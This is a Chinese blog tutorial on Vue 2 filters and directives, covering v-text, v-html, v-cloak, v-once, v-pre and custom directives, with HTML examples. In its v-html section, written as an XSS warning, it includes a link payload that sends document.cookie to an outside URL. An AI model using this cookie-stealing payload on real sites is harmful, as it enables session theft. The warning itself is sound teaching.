过滤器和自定义指令

最新推荐文章于 2024-10-01 20:12:28 发布
最新推荐文章于 2024-10-01 20:12:28 发布
阅读量370 收藏
点赞数
分类专栏： # VUE 文章标签： javascript vue.js 前端
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_56444564/article/details/130061014
版权

过滤器：

定义：

  • 对要显示的数据进行特定格式化后再显示（适用于一些简单逻辑的处理）。

语法：

  • 注册过滤器：Vue.filter(name,callback) 或 new Vue{filters:{}}
  • 使用过滤器：{{ xxx | 过滤器名}} 或 v-bind:属性 = "xxx | 过滤器名"

备注：

  • 过滤器可以接收额外参数，多个过滤器也可以串联
  • 并没有改变原本的数据，而是产生新的对应的数据
     

代码示例： 

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Title</title>
    <script src="https://cdn.bootcdn.net/ajax/libs/dayjs/1.10.6/dayjs.min.js"></script>
    <script src="../js/vue.js"></script>
</head>
<body>
<div id="app">
    <h2>时间</h2>
    <h3>当前时间戳：{{time}}</h3>
    <h3>转换后时间：{{time | timeFormater()}}</h3>
    <h3>转换后时间：{{time | timeFormater('YYYY-MM-DD HH:mm:ss')}}</h3>
    <h3>截取年月日：{{time | timeFormater() | mySlice}}</h3>
</div>
<script>
    Vue.config.productionTip = false
    //全局过滤器
    Vue.filter('mySlice', function (value) {
        return value.slice(0, 11)
    })
    const vm = new Vue({
        el: "#app",
        data: {
            time: Date.now()
        },
        //局部过滤器
        filters: {
            timeFormater(value, str = 'YYYY年MM月DD日') {
                return dayjs(value).format(str)
            }
        }
    })
</script>
</body>
</html>

之前学过的指令：

  • v-bind：单向绑定解析表达式，可简写为:
  • v-model：双向数据绑定
  • v-for：遍历数组 / 对象 / 字符串
  • v-on：绑定事件监听，可简写为@
  • v-if：条件渲染（动态控制节点是否存存在）
  • v-else：条件渲染（动态控制节点是否存存在）
  • v-show：条件渲染 (动态控制节点是否展示)
     

v-text指令：

  1. 作用：向其所在的节点中渲染文本内容        

  2. 与插值语法的区别：v-text会替换掉节点中的内容，{{xx}}则不会。

代码示例： 

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Title</title>
    <script src="../js/vue.js"></script>
</head>
<body>
<div id="app">
    <div>你好，{{name}}</div>
    <div v-text="name"></div>
    <div v-text="str">我不会显示在页面上</div>
</div>
<script>
    Vue.config.productionTip = false
    const vm = new Vue({
        el: "#app",
        data: {
            name: 'hello world',
            str: '<h3>hello world</h3>'
        }
    })
</script>
</body>
</html>

v-html指令：

  • 作用：向指定节点中渲染包含html结构的内容
  • 与插值语法的区别：
    • v-html会替换掉节点中所有的内容，{{xx}}则不会
    • v-html可以识别html结构
  • 严重注意：v-html有安全性问题！！！
    • 在网站上动态渲染任意HTML是非常危险的，容易导致XSS攻击
    • 一定要在可信的内容上使用v-html，永远不要用在用户提交的内容上！！！
<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8"/>
    <title>v-html指令</title>
    <script src="../js/vue.js"></script>
</head>
<body>
<div id="root">
    <div>hello，{{name}}</div>
    <div v-html="str"></div>
    <div v-html="str2"></div>
</div>
</body>

<script type="text/javascript">
    Vue.config.productionTip = false

    new Vue({
        el: '#root',
        data: {
            name: 'world',
            str: '<h3>你好啊！</h3>',
            str2: '<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>兄弟我找到你想要的资源了，快来！</a>',
        }
    })
</script>
</html>

 

v-cloak指令（没有值）：

  • 本质是一个特殊属性，Vue实例创建完毕并接管容器后，会删掉v-cloak属性
  • 使用css配合v-cloak可以解决网速慢时页面展示出{{xxx}}的问题

代码示例： 

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Title</title>
    <style>
        [v-cloak] {
            display: none;
        }
    </style>
</head>
<body>
<div id="app">
    <h2 v-cloak>{{name}}</h2>
</div>
<script src="../js/vue.js"></script><!--延迟5秒加载-->
</body>
<script>
    Vue.config.productionTip = false
    const vm = new Vue({
        el: "#app",
        data: {
            name: 'hello'
        }
    })
</script>
</html>

v-once指令：

  1. v-once所在节点在初次动态渲染后，就视为静态内容了

  2. 以后数据的改变不会引起v-once所在结构的更新，可以用于优化性能

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Title</title>
    <script src="../js/vue.js"></script>
</head>
<body>
<div id="app">
    <h2 v-once>n初始化的值是：{{n}}</h2>
    <h2>n现在的值是：{{n}}</h2>
    <button @click="n++">点我n+1</button>
</div>
<script>
    Vue.config.productionTip = false
    const vm = new Vue({
        el: "#app",
        data: {
            n: 1
        }
    })
</script>
</body>
</html>

 

v-pre指令：

  • 跳过其所在节点的编译过程。
  • 可利用它跳过：没有使用指令语法、没有使用插值语法的节点，会加快编译
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Title</title>
    <script src="../js/vue.js"></script>
</head>
<body>
<div id="app">
    <h2 v-pre>Vue很简单</h2>
    <h2 v-pre>当前的n值是：{{n}}</h2>
    <h2>当前的n值是：{{n}}</h2>
    <button @click="n++">点我n+1</button>
</div>
<script>
    Vue.config.productionTip = false
    const vm = new Vue({
        el: "#app",
        data: {
            n: 1
        }
    })
</script>
</body>
</html>

 

自定义指令定义语法：

局部指令：

 new Vue({                                                            
     directives:{指令名:配置对象}   
 })         

 new Vue({                                                            
     directives:{指令名:回调函数}   
 })     

例如： 

directives: {
            //方式一
            big(element, binding) {
                console.log('big', this)//this 指向window
                element.innerText = binding.value * 10
            },
            //方式二
            fbind: {
                //指令与元素成功绑定时（一上来）
                bind(element, binding) {
                    element.value = binding.value
                },
                //指令所在元素被插入页面时
                inserted(element, binding) {
                    element.focus()
                },
                //指令所在的模板被重新解析时
                update(element, binding) {
                    element.value = binding.value
                    element.focus()
                }
            }

全局指令：

  • Vue.directive(指令名,配置对象)
  • Vue.directive(指令名,回调函数)

例如： 

    //全局自定义指令
    Vue.directive('fbind', {
        //指令与元素成功绑定时（一上来）
        bind(element, binding) {
            element.value = binding.value
        },
        //指令所在元素被插入页面时
        inserted(element, binding) {
            element.focus()
        },
        //指令所在的模板被重新解析时
        update(element, binding) {
            element.value = binding.value
            element.focus()
        }
    })
    Vue.directive('big', function (element, binding) {
        console.log('big', this)//this 指向window
        element.innerText = binding.value * 10
    })

 配置对象中常用的3个回调函数：

  • bind(element,binding)：指令与元素成功绑定时调用
  • inserted(element,binding)：指令所在元素被插入页面时调用
  • update(element,binding)：指令所在模板结构被重新解析时调用

备注：

  • 指令定义时不加“v-”，但使用时要加“v-”

  • 指令名如果是多个单词，要使用kebab-case命名方式，不要用camelCase命名

 

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Title</title>
    <script src="../js/vue.js"></script>
</head>
<body>
<div id="app">
    <h2>当前n的值是：<span v-text="n"></span></h2>
    <h2>放大10倍后n的值是：<span v-big="n"></span></h2>
    <h2>放大10倍后n的值是：<span v-big-number="n"></span></h2>
    <button @click="n++">点我n+1</button>
    <hr>
    <input type="text" v-fbind:value="n">
</div>

<div id="app2">
    <h2>当前n的值是：<span v-text="n"></span></h2>
    <h2>放大10倍后n的值是：<span v-big="n"></span></h2>
    <button @click="n++">点我n+1</button>
    <hr>
    <input type="text" v-fbind:value="n">
</div>
<script>
    Vue.config.productionTip = false
    //全局自定义指令
    Vue.directive('fbind', {
        //指令与元素成功绑定时（一上来）
        bind(element, binding) {
            element.value = binding.value
        },
        //指令所在元素被插入页面时
        inserted(element, binding) {
            element.focus()
        },
        //指令所在的模板被重新解析时
        update(element, binding) {
            element.value = binding.value
            element.focus()
        }
    })
    Vue.directive('big', function (element, binding) {
        console.log('big', this)//this 指向window
        element.innerText = binding.value * 10
    })
    const vm1 = new Vue({
        el: "#app",
        data: {
            n: 1
        },
        // directives: { //局部自定义指令
        // big(element, binding) {
        //     console.log('big', this)//this 指向window
        //     element.innerText = binding.value * 10
        // },
        //     'big-number'(element, binding) {
        //         console.log('big', this)//this 指向window
        //         element.innerText = binding.value * 10
        //     },
        //     fbind: {
        //         //指令与元素成功绑定时（一上来）
        //         bind(element, binding) {
        //             element.value = binding.value
        //         },
        //         //指令所在元素被插入页面时
        //         inserted(element, binding) {
        //             element.focus()
        //         },
        //         //指令所在的模板被重新解析时
        //         update(element, binding) {
        //             element.value = binding.value
        //             element.focus()
        //         }
        //     }
        // }
    })

    const vm2 = new Vue({
        el: "#app2",
        data: {
            n: 1
        }
    })
</script>
</body>
</html>

 

阿瞒有我良计15
关注
专栏目录
Vue中过滤器和自定义指令详解
m0_71345904的博客
08-11 455
Vue.js 允许你自定义过滤器，可被用于一些常见的文本格式化。双花括号插值和v-bind表达式(后者从 2.1.0+ 开始支持)。过滤器应该被添加在 JavaScript 表达式的尾部，由“管道”符号指示：。需要用到关键配置项filters在全局中格式化文件，全局组件都可以公用，是一种传递参数，串联的回调。自定义指令，顾名思义，就是我们使用者自己创建指令，如同vue给我们内置好的指令如v-model,v-on,v-band一样。我们自定义创建，然后去操作DOM元素。},//元素插入页面的时候},...
vue的混合、插件、过滤器和自定义指令
m0_60499747的博客
10-14 205
一、混合 1.功能：可以把组件共⽤的配置提取成⼀个混⼊对象 2.使⽤⽅法： （1）第⼀步定义混合，例如： { data(){...}, methods:{...}, .... } （2）第⼆步使⽤混合，例如： 1）全局混⼊：Vue.mixin(xxx) 2）局部混⼊：mixing:['xxx'] 二、插件 1.功能：增强Vue 2.本质：包含install⽅法的⼀个对象，install的第⼀个参数是Vue，第⼆个参数是插件使⽤者传递的数据 3.定义插件： 4.对...
019.过滤器和自定义指令
一文不值的博客
06-03 380
文章目录过滤器01. 是什么02. 怎么做（1）定义过滤器（2）使用方式（3）过滤器的参数03. 封装过滤器函数自定义指令01. 是什么02. 基本概念（1）钩子函数（2）参数03. 指令注册（1）全局注册（2）局部注册 过滤器 01. 是什么 过滤器可以对我们传入的数据进行必要的处理，并返回处理的结果 过滤器不会修改数据 过滤器的本质是函数 过滤器函数应该有参数，参数必须包含你想进行处理的源数据 过滤器应该有返回值，返回处理后的结果 export default { // 通过filte
vue 过滤器filter（全面）
热门推荐
记录点滴
07-12 3万+
在官方文档中，是这样说明的：可被用于一些常见的文本格式化，vue中过滤器的作用可被用于一些常见的文本格式化。（也就是修饰文本，但是文本内容不会改变） 补充： 过滤器分全局过滤器和局部过滤器，下边我着重说下全局过滤器，因为全局过滤器在项目中使用频率非常高！ 局部过滤器： 过滤器可以用在两个地方：双花括号插值 或 v-bind表达式。 eg：先来看看第一个小例子： <div id=...
基本指令v-once
atu1111的博客
08-16 7994
基本指令v-once   v-once 也是一个不需要表达式的指令，作用是定义它的元素或组件只渲染一次，包括元素或 组件的所有子节点。首次渲染后，不再随数据的变化重新渲染，将被视为静态内容   下面示例，原本是每一秒展示动态随机数，但是因为使用v-once 首次渲染后，就不在改变数字了 <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="vi
vue change事件_vue起步篇2，从0基础开始到全家桶，vue基础指令
weixin_39526564的博客
12-03 487
点击上方蓝字关注我吧vue基础指令主要作用是: 模板+数据::: 前端渲染, === 也就是把数据填充到html中去,指令(以 v- 开始)插值表达式: {{}} ---> 将数据填充到Html页面中, 做一些基本的计算操作---> 存在闪动的问题, 使用 v-clock 解决<div>{{msg}}div>12v-clock: 解决闪动 , 需要提供样式 ...
Vue过滤器和自定义指令
Smallwhitestrive的博客
07-28 312
目录 1、过滤器 2、自定义指令 1、过滤器： 1、定义过滤器 1、全局过滤器：Vue.filter(过滤器名字，(v)=>{return 处理结果}) 2、局部过滤器：filters：{过滤器名字.function(v){return 处理的结果}} 注意：局部过滤器filters结尾的s不要忘记 ...
Vue的过滤器和自定义指令
暗武逢天的博客
07-07 2万+
Vue过滤器
vue局部和全局自定义过滤器和自定义指令的方法
foolishma的博客
08-19 538
如下是一个vue页面： <template> <div id="methods"></div> </template> <script> export default { data() { return {}; }, created: {}, methods: {}, // 自定义私有指令 dire...
『前端学习笔记』 Vue.js 过滤器与自定义指令
猪窝
08-12 298
参考视频：学 Vue.js 看这个就够了 官方文档：Vue.js 文章目录
Vue.js中的过滤器和自定义指令的实现
## 1.1 过滤器的作用和使用场景 在Vue.js中，过滤器是一种用来处理文本格式化的功能模块。它可以将数据在显示之前进行一系列的处理，如格式转换、大小写转换、日期格式化等。过滤器在实际开发中非常实用，常用于...
knowLedge-Vue I18n 是 Vue.js 的国际化插件
2301_76671906的博客
09-30 849
Vue 2 中使用 Vue I18n 插件实现中英文切换
JavaScript ArrayBuffer的读写与类型转换
白瑕 的博客
10-01 414
所有视图的基本单位是ArrayBuffer, ArrayBuffer中只存储二进制格式的数据.ArrayBuffer不可直接读写, 必须通过视图(比如DataView)暴露的API.
沂机管理系统/data/Ajax.aspx接口存在SQL注入漏洞
最新发布
2301_77012231的博客
10-01 373
沂机管理系统/data/Ajax.aspx接口存在SQL注入漏洞，攻击者可以获取服务器权限。bp 报错泄露绝对路径。sqlmap确认有漏洞。
Vue实战教程：如何用JS封装一个可复用的Loading组件
Jiaberrr的博客
09-28 573
通过以上步骤，我们成功在Vue项目中封装了一个可复用的Loading组件。在实际开发中，我们可以根据项目需求对Loading组件进行样式和功能的扩展，使其更加完善。封装组件是提高代码复用性和维护性的有效手段，希望本文能对你有所帮助。
Web认识 -- 第一课
ZxVSaccount的博客
09-30 1160
这里是我们进入前端学习的开端,在本次更新之后我会陆续上传html,css,javaScript等相关语言的教程,有感兴趣的小伙伴们点点关注,未来我们一起学习!IE、火狐和谷歌是目前互联网上的三大浏览器，其他常用的浏览器还有苹果的Safari浏览器和欧朋浏览器等。对于一般的网站，只要兼容IE浏览器、火狐浏览器和谷歌浏览器，就能满足绝大多数用户的需求。本节主要简单介绍了一下关于HTML、CSS、JavaScript的一些基本概念,有感兴趣的朋友,点点关注我们一起学习,博主持续更新中!
【开源免费】基于SpringBoot+Vue.JS校园资料分享平台（JAVA毕业设计）
customer08的博客
09-30 1200
校园资料分享平台是一个B/S模式系统，采用Spring Boot框架作为开发技术，MYSQL数据库设计开发，充分保证系统的稳定性。系统具有界面清晰、操作简单，功能齐全的特点，使得校园资料分享平台管理工作系统化、规范化。
Vue 图书管理实战：过滤器、自定义指令与性能优化
"Vue 图书管理案例展示了如何运用多种核心特性进行数据处理，包括过滤器、自定义指令、计算属性、侦听器以及组件的生命周期。案例中涉及到的关键点有箭头函数的this指向、数组操作方法的选择以及时间格式化的实现。...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

阿瞒有我良计15

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值